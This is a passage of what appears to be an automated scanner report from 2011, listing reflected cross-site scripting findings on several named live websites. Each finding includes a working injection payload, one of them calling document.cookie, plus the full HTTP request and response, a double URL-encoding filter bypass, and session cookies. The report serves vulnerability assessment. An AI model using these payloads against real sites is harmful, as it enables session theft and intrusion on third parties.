The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 990de%2527%253balert%25281%2529%252f%252fa6bd97b8f6e was submitted in the REST URL parameter 5. This input was echoed as 990de';alert(1)//a6bd97b8f6e in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

Request

GET /ex/mfg/headline/m/ariens47888%252527%25253balert%252528document.cookie%252529%25252f%25252f8fcf167d281990de%2527%253balert%25281%2529%252f%252fa6bd97b8f6e/d/type/product_problem&hl=en&client=ca-pub-4582869284305424&adU=www.Rackspace.com/Exchange_Hosting&adT=ImageAd&gl=US&usg=AFQjCNFt7K-JBKpz6-rzEu72zZg5MwT1cg/ HTTP/1.1
Host: homeappliance.manualsonline.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __gads=ID=9c79886a0efcbf70:T=1296942810:S=ALNI_MZT5moPrMV1QActIQk7lQFHgvu6Ig; adsur=26; __utmz=162857765.1296956996.2.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/1; memSessionId=5378e2dc-3193-11e0-bdbb-0030485f67c6; adsust=n1; adsus=26b9sk; PAPVisitorId=c21ce48b6f65fadb04f522bba10uSpNn; __utma=162857765.1785005893.1296942825.1296942825.1296956996.2; __utmc=162857765; __utmb=162857765.1.10.1296956996;

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:04:54 GMT
Server: Apache/2.2.14 (Fedora)
X-Powered-By: PHP/5.2.9
Set-Cookie: memSessionId=5378e2dc-3193-11e0-bdbb-0030485f67c6; expires=Tue, 08-Mar-2011 16:04:54 GMT; path=/; domain=.manualsonline.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 47787

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
sCustomFPWScope:''
                   });

           pageLoaded = true;
           Lightbox.init();
           window.sDeviceType = 'type'
window.sMfgName = 'ariens47888%27%3balert%28document.cookie%29%2f%2f8fcf167d281990de';alert(1)//a6bd97b8f6e'
var fetchAdParams = { "template" : "manuals2_ugcsumm", "keyWords" : "ariens47888%27%3balert%28document.cookie%29%2f%2f8fcf167d281990de';alert(1)//a6bd97b8f6e type"}; fetchAd('infospace','d_dt_mfglist
...[SNIP]...

Summary

Severity:	High
Confidence:	Certain
Host:	http://homeappliance.manualsonline.com
Path:	/ex/mfg/headline/m/ariens47888%252527%25253balert%252528document.cookie%252529%25252f%25252f8fcf167d281/d/type/product_problem&hl=en&client=ca-pub-4582869284305424&adU=www.Rackspace.com/Exchange_Hosting&adT=ImageAd&gl=US&usg=AFQjCNFt7K-JBKpz6-rzEu72zZg5MwT1cg/

Issue detail

The value of REST URL parameter 7 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 83c99%2527%253balert%25281%2529%252f%252f366fb95dad1 was submitted in the REST URL parameter 7. This input was echoed as 83c99';alert(1)//366fb95dad1 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 7 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /ex/mfg/headline/m/ariens47888%252527%25253balert%252528document.cookie%252529%25252f%25252f8fcf167d281/d/type83c99%2527%253balert%25281%2529%252f%252f366fb95dad1/product_problem&hl=en&client=ca-pub-4582869284305424&adU=www.Rackspace.com/Exchange_Hosting&adT=ImageAd&gl=US&usg=AFQjCNFt7K-JBKpz6-rzEu72zZg5MwT1cg/ HTTP/1.1
Host: homeappliance.manualsonline.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __gads=ID=9c79886a0efcbf70:T=1296942810:S=ALNI_MZT5moPrMV1QActIQk7lQFHgvu6Ig; adsur=26; __utmz=162857765.1296956996.2.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/1; memSessionId=5378e2dc-3193-11e0-bdbb-0030485f67c6; adsust=n1; adsus=26b9sk; PAPVisitorId=c21ce48b6f65fadb04f522bba10uSpNn; __utma=162857765.1785005893.1296942825.1296942825.1296956996.2; __utmc=162857765; __utmb=162857765.1.10.1296956996;

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:05:17 GMT
Server: Apache/2.2.14 (Fedora)
X-Powered-By: PHP/5.2.9
Set-Cookie: memSessionId=5378e2dc-3193-11e0-bdbb-0030485f67c6; expires=Tue, 08-Mar-2011 16:05:17 GMT; path=/; domain=.manualsonline.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 47787

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
t.cookie%29%2f%2f8fcf167d281',false,{
                       titleHTML:'',
sCustomFPWScope:''
                   });

           pageLoaded = true;
           Lightbox.init();
           window.sDeviceType = 'type83c99';alert(1)//366fb95dad1'
window.sMfgName = 'ariens47888%27%3balert%28document.cookie%29%2f%2f8fcf167d281'
var fetchAdParams = { "template" : "manuals2_ugcsumm", "keyWords" : "ariens47888%27%3balert%28document.cookie%29%2f%2f
...[SNIP]...

4.63. http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens47888%27%3balert%28document.cookie%29%2f%2f8fcf167d281/d/type/product_problem/ [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://homeappliance.manualsonline.com
Path:	/ex/mfg/headline/m/ariens47888%27%3balert%28document.cookie%29%2f%2f8fcf167d281/d/type/product_problem/

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 97252%2527%253balert%25281%2529%252f%252f65b1cc71132 was submitted in the REST URL parameter 5. This input was echoed as 97252';alert(1)//65b1cc71132 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

Request

GET /ex/mfg/headline/m/97252%2527%253balert%25281%2529%252f%252f65b1cc71132/d/type/product_problem/ HTTP/1.1
Host: homeappliance.manualsonline.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __gads=ID=9c79886a0efcbf70:T=1296942810:S=ALNI_MZT5moPrMV1QActIQk7lQFHgvu6Ig; adsur=58; __utmz=162857765.1296942825.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/1; memSessionId=59308638-3172-11e0-bdbb-0030485f67c6; adsust=n2; adsus=2jh81Z; PAPVisitorId=c21ce48b6f65fadb04f522bba10uSpNn; __utma=162857765.1785005893.1296942825.1296942825.1296942825.1; __utmc=162857765; __utmb=162857765.2.10.1296942825;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:52:14 GMT
Server: Apache/2.2.14 (Fedora)
X-Powered-By: PHP/5.2.9
Set-Cookie: memSessionId=59308638-3172-11e0-bdbb-0030485f67c6; expires=Mon, 07-Mar-2011 22:52:14 GMT; path=/; domain=.manualsonline.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 46927

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
cc71132',false,{
                       titleHTML:'',
sCustomFPWScope:''
                   });

           pageLoaded = true;
           Lightbox.init();
           window.sDeviceType = 'type'
window.sMfgName = '97252';alert(1)//65b1cc71132'
var fetchAdParams = { "template" : "manuals2_ugcsumm", "keyWords" : "97252';alert(1)//65b1cc71132 type"}; fetchAd('infospace','d_dt_mfglist',fetchAdParams);currentTab='help';
           getNextQuestion();

...[SNIP]...

4.64. http://img.mediaplex.com/content/0/14302/119028/OI_revised_60days_baker_160x600.js [mpck parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://img.mediaplex.com
Path:	/content/0/14302/119028/OI_revised_60days_baker_160x600.js

Issue detail

The value of the mpck request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a620c"%3balert(1)//7fca9867605 was submitted in the mpck parameter. This input was echoed as a620c";alert(1)//7fca9867605 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /content/0/14302/119028/OI_revised_60days_baker_160x600.js?mpck=altfarm.mediaplex.com%2Fad%2Fck%2F14302-119028-23636-2%3Fmpt%3D%5BCACHEBUSTER%5Da620c"%3balert(1)//7fca9867605&mpjs=puma.vizu.com%2Fcdn%2F00%2F00%2F14%2F09%2Ftracking_only.js%3Fadid%3Demm%3Bsiteid%3Downeriq%3B&mpt=[CACHEBUSTER]&mpvc=http://ad.doubleclick.net/click%3Bh%3Dv8/3aa5/3/0/%2a/o%3B235018855%3B0-0%3B0%3B41185174%3B2321-160/600%3B40066933/40084720/1%3Bu%3Dsid_%3B%7Esscs%3D%3f&placementid=14302119028236362& HTTP/1.1
Host: img.mediaplex.com
Proxy-Connection: keep-alive
Referer: http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens47888%2527%253balert%2528document.cookie%2529%252f%252f8fcf167d281/d/type/product_problem
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: svid=517004695355; mojo3=14302:23636/4608:12284/16228:10420/15017:34880/9609:2042/11606:17922/1551:17023/11293:3113

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:26:17 GMT
Server: Apache
Last-Modified: Thu, 13 Jan 2011 22:58:30 GMT
ETag: "401ef4-cdb-499c241979180"
Accept-Ranges: bytes
Content-Length: 6164
Content-Type: application/x-javascript

document.write( "<img src=\"http://imp.constantcontact.com/imp/cmp.jsp?impcc=IMP_14302119028236362&o=http://img.constantcontact.com/lp/images/standard/spacer.gif\" height=\"1\" width=\"1\" alt=\"\">"
...[SNIP]...
ref=\"http://ad.doubleclick.net/click;h=v8/3aa5/3/0/*/o;235018855;0-0;0;41185174;2321-160/600;40066933/40084720/1;u=sid_;~sscs=?http://altfarm.mediaplex.com/ad/ck/14302-119028-23636-2?mpt=[CACHEBUSTER]a620c";alert(1)//7fca9867605\" target=\"_blank\">
...[SNIP]...

4.65. http://img.mediaplex.com/content/0/14302/119028/OI_revised_60days_baker_160x600.js [mpjs parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://img.mediaplex.com
Path:	/content/0/14302/119028/OI_revised_60days_baker_160x600.js

Issue detail

The value of the mpjs request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 75f94"%3balert(1)//6b802c89842 was submitted in the mpjs parameter. This input was echoed as 75f94";alert(1)//6b802c89842 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /content/0/14302/119028/OI_revised_60days_baker_160x600.js?mpck=altfarm.mediaplex.com%2Fad%2Fck%2F14302-119028-23636-2%3Fmpt%3D%5BCACHEBUSTER%5D&mpjs=puma.vizu.com%2Fcdn%2F00%2F00%2F14%2F09%2Ftracking_only.js%3Fadid%3Demm%3Bsiteid%3Downeriq%3B75f94"%3balert(1)//6b802c89842&mpt=[CACHEBUSTER]&mpvc=http://ad.doubleclick.net/click%3Bh%3Dv8/3aa5/3/0/%2a/o%3B235018855%3B0-0%3B0%3B41185174%3B2321-160/600%3B40066933/40084720/1%3Bu%3Dsid_%3B%7Esscs%3D%3f&placementid=14302119028236362& HTTP/1.1
Host: img.mediaplex.com
Proxy-Connection: keep-alive
Referer: http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens47888%2527%253balert%2528document.cookie%2529%252f%252f8fcf167d281/d/type/product_problem
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: svid=517004695355; mojo3=14302:23636/4608:12284/16228:10420/15017:34880/9609:2042/11606:17922/1551:17023/11293:3113

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:26:23 GMT
Server: Apache
Last-Modified: Thu, 13 Jan 2011 22:58:30 GMT
ETag: "401ef4-cdb-499c241979180"
Accept-Ranges: bytes
Content-Length: 5804
Content-Type: application/x-javascript

document.write( "<img src=\"http://imp.constantcontact.com/imp/cmp.jsp?impcc=IMP_14302119028236362&o=http://img.constantcontact.com/lp/images/standard/spacer.gif\" height=\"1\" width=\"1\" alt=\"\">"
...[SNIP]...
<script type=\"text/javascript\" src=\"http://puma.vizu.com/cdn/00/00/14/09/tracking_only.js?adid=emm;siteid=owneriq;75f94";alert(1)//6b802c89842\">
...[SNIP]...

4.66. http://img.mediaplex.com/content/0/14302/119028/OI_revised_60days_baker_160x600.js [mpvc parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://img.mediaplex.com
Path:	/content/0/14302/119028/OI_revised_60days_baker_160x600.js

Issue detail

The value of the mpvc request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 47ebf"%3balert(1)//9d047a6ebcf was submitted in the mpvc parameter. This input was echoed as 47ebf";alert(1)//9d047a6ebcf in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /content/0/14302/119028/OI_revised_60days_baker_160x600.js?mpck=altfarm.mediaplex.com%2Fad%2Fck%2F14302-119028-23636-2%3Fmpt%3D%5BCACHEBUSTER%5D&mpjs=puma.vizu.com%2Fcdn%2F00%2F00%2F14%2F09%2Ftracking_only.js%3Fadid%3Demm%3Bsiteid%3Downeriq%3B&mpt=[CACHEBUSTER]&mpvc=http://ad.doubleclick.net/click%3Bh%3Dv8/3aa5/3/0/%2a/o%3B235018855%3B0-0%3B0%3B41185174%3B2321-160/600%3B40066933/40084720/1%3Bu%3Dsid_%3B%7Esscs%3D%3f47ebf"%3balert(1)//9d047a6ebcf&placementid=14302119028236362& HTTP/1.1
Host: img.mediaplex.com
Proxy-Connection: keep-alive
Referer: http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens47888%2527%253balert%2528document.cookie%2529%252f%252f8fcf167d281/d/type/product_problem
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: svid=517004695355; mojo3=14302:23636/4608:12284/16228:10420/15017:34880/9609:2042/11606:17922/1551:17023/11293:3113

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:26:34 GMT
Server: Apache
Last-Modified: Thu, 13 Jan 2011 22:58:30 GMT
ETag: "401ef4-cdb-499c241979180"
Accept-Ranges: bytes
Content-Length: 6140
Content-Type: application/x-javascript

document.write( "<img src=\"http://imp.constantcontact.com/imp/cmp.jsp?impcc=IMP_14302119028236362&o=http://img.constantcontact.com/lp/images/standard/spacer.gif\" height=\"1\" width=\"1\" alt=\"\">"
...[SNIP]...
<PARAM NAME=\"FlashVars\" VALUE=\"clickTAG=http://ad.doubleclick.net/click;h=v8/3aa5/3/0/*/o;235018855;0-0;0;41185174;2321-160/600;40066933/40084720/1;u=sid_;~sscs=?47ebf";alert(1)//9d047a6ebcfhttp://altfarm.mediaplex.com%2Fad%2Fck%2F14302-119028-23636-2%3Fmpt%3D%5BCACHEBUSTER%5D&clickTag=http://ad.doubleclick.net/click;h=v8/3aa5/3/0/*/o;235018855;0-0;0;41185174;2321-160/600;40066933/4008472
...[SNIP]...

4.67. http://img.mediaplex.com/content/0/14302/119028/OI_revised_60days_baker_160x600.js [placementid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://img.mediaplex.com
Path:	/content/0/14302/119028/OI_revised_60days_baker_160x600.js

Issue detail

The value of the placementid request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 618f1"%3balert(1)//26cf8ec9bd2 was submitted in the placementid parameter. This input was echoed as 618f1";alert(1)//26cf8ec9bd2 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /content/0/14302/119028/OI_revised_60days_baker_160x600.js?mpck=altfarm.mediaplex.com%2Fad%2Fck%2F14302-119028-23636-2%3Fmpt%3D%5BCACHEBUSTER%5D&mpjs=puma.vizu.com%2Fcdn%2F00%2F00%2F14%2F09%2Ftracking_only.js%3Fadid%3Demm%3Bsiteid%3Downeriq%3B&mpt=[CACHEBUSTER]&mpvc=http://ad.doubleclick.net/click%3Bh%3Dv8/3aa5/3/0/%2a/o%3B235018855%3B0-0%3B0%3B41185174%3B2321-160/600%3B40066933/40084720/1%3Bu%3Dsid_%3B%7Esscs%3D%3f&placementid=14302119028236362618f1"%3balert(1)//26cf8ec9bd2& HTTP/1.1
Host: img.mediaplex.com
Proxy-Connection: keep-alive
Referer: http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens47888%2527%253balert%2528document.cookie%2529%252f%252f8fcf167d281/d/type/product_problem
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: svid=517004695355; mojo3=14302:23636/4608:12284/16228:10420/15017:34880/9609:2042/11606:17922/1551:17023/11293:3113

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:26:43 GMT
Server: Apache
Last-Modified: Thu, 13 Jan 2011 22:58:30 GMT
ETag: "401ef4-cdb-499c241979180"
Accept-Ranges: bytes
Content-Length: 5804
Content-Type: application/x-javascript

document.write( "<img src=\"http://imp.constantcontact.com/imp/cmp.jsp?impcc=IMP_14302119028236362618f1";alert(1)//26cf8ec9bd2&o=http://img.constantcontact.com/lp/images/standard/spacer.gif\" height=\"1\" width=\"1\" alt=\"\">
...[SNIP]...

4.68. http://info.bisk.com/MCIndex.asp [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://info.bisk.com
Path:	/MCIndex.asp

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f75cf"-alert(1)-"c3877463769 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /MCIndex.asp?f75cf"-alert(1)-"c3877463769=1 HTTP/1.1
Host: info.bisk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Connection: close
Date: Sun, 06 Feb 2011 16:01:21 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 394
Content-Type: text/html
Set-Cookie: MCIDtype=external; expires=Tue, 08-Mar-2011 05:00:00 GMT; path=/
Set-Cookie: MCIDCookie=9505; expires=Tue, 08-Mar-2011 05:00:00 GMT; path=/
Set-Cookie: ASPSESSIONIDCABBARTR=EPJKGAOCFCMPMMHKGHCFKEBH; path=/
Cache-control: private

<html>
<head>
<meta name="GENERATOR" content="Microsoft Visual Studio 6.0">
</head>
<body>
<script language=javascript>

...[SNIP]...

4.69. http://jlinks.industrybrains.com/jsct [ct parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jlinks.industrybrains.com
Path:	/jsct

Issue detail

The value of the ct request parameter is copied into the HTML document as plain text between tags. The payload 9f560<script>alert(1)</script>1513e10fdfb was submitted in the ct parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /jsct?sid=769&ct=BASELINE_ROS9f560<script>alert(1)</script>1513e10fdfb&tr=INTERNAL_PAGE&num=3&layt=1&fmt=simp HTTP/1.1
Host: jlinks.industrybrains.com
Proxy-Connection: keep-alive
Referer: http://www.baselinemag.com/c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Connection: close
Date: Sun, 06 Feb 2011 13:21:35 GMT
Server: Microsoft-IIS/6.0
Cache-Control: no-cache, max-age=0, must-revalidate
Pragma: no-cache
Expires: Sun, 06 Feb 2011 13:21:35 GMT
Content-Type: application/x-javascript
Content-Length: 83

// Error: Unknown old section BASELINE_ROS9f560<script>alert(1)</script>1513e10fdfb

4.70. http://jlinks.industrybrains.com/jsct [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jlinks.industrybrains.com
Path:	/jsct

Issue detail

The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload 13049<script>alert(1)</script>e6e2064dba1 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /jsct?sid=769&ct=BASELINE_ROS&tr=INTERNAL_PAGE&num=3&layt=1&fmt=simp&13049<script>alert(1)</script>e6e2064dba1=1 HTTP/1.1
Host: jlinks.industrybrains.com
Proxy-Connection: keep-alive
Referer: http://www.baselinemag.com/c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Connection: close
Date: Sun, 06 Feb 2011 13:21:54 GMT
Server: Microsoft-IIS/6.0
Cache-Control: no-cache, max-age=0, must-revalidate
Pragma: no-cache
Expires: Sun, 06 Feb 2011 13:21:54 GMT
Content-Type: application/x-javascript
Content-Length: 69

// Error: Unknown parameter 13049<script>alert(1)</script>e6e2064dba1

4.71. http://jlinks.industrybrains.com/jsct [tr parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jlinks.industrybrains.com
Path:	/jsct

Issue detail

The value of the tr request parameter is copied into the HTML document as plain text between tags. The payload 474a3<script>alert(1)</script>94d1d0b707f was submitted in the tr parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /jsct?sid=769&ct=BASELINE_ROS&tr=INTERNAL_PAGE474a3<script>alert(1)</script>94d1d0b707f&num=3&layt=1&fmt=simp HTTP/1.1
Host: jlinks.industrybrains.com
Proxy-Connection: keep-alive
Referer: http://www.baselinemag.com/c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Connection: close
Date: Sun, 06 Feb 2011 13:21:38 GMT
Server: Microsoft-IIS/6.0
Cache-Control: no-cache, max-age=0, must-revalidate
Pragma: no-cache
Expires: Sun, 06 Feb 2011 13:21:38 GMT
Content-Type: application/x-javascript
Content-Length: 88

// Error: Site 769 has no section INTERNAL_PAGE474a3<script>alert(1)</script>94d1d0b707f

4.72. http://jqueryui.com/themeroller/ [bgColorActive parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the bgColorActive request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d0c15"><script>alert(1)</script>c02b562b769 was submitted in the bgColorActive parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=C14D1A&bgTextureHeader=02_glass.png&bgImgOpacityHeader=50&borderColorHeader=5E260F&fcHeader=ffffff&iconColorHeader=F1B50F&bgColorContent=2E1D1D&bgTextureContent=03_highlight_soft.png&bgImgOpacityContent=10&borderColorContent=5E260F&fcContent=ffffff&iconColorContent=222222&bgColorDefault=ffffff&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=5E260F&fcDefault=5E260F&iconColorDefault=888888&bgColorHover=F1B50F&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=5E260F&fcHover=212121&iconColorHover=454545&bgColorActive=C7842Dd0c15"><script>alert(1)</script>c02b562b769&bgTextureActive=01_flat.png&bgImgOpacityActive=65&borderColorActive=5E260F&fcActive=212121&iconColorActive=454545&bgColorHighlight=64A3D3&bgTextureHighlight=04_highlight_hard.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=05_inset_soft.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Sat, 05 Feb 2011 22:51:58 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www4
X-Proxy: 1
Content-Length: 120095

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
lt=5E260F&fcDefault=5E260F&iconColorDefault=888888&bgColorHover=F1B50F&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=5E260F&fcHover=212121&iconColorHover=454545&bgColorActive=C7842Dd0c15"><script>alert(1)</script>c02b562b769&bgTextureActive=01_flat.png&bgImgOpacityActive=65&borderColorActive=5E260F&fcActive=212121&iconColorActive=454545&bgColorHighlight=64A3D3&bgTextureHighlight=04_highlight_hard.png&bgImgOpacityHighlight
...[SNIP]...

4.73. http://jqueryui.com/themeroller/ [bgColorContent parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the bgColorContent request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d8585"><script>alert(1)</script>9328a0e8c14 was submitted in the bgColorContent parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

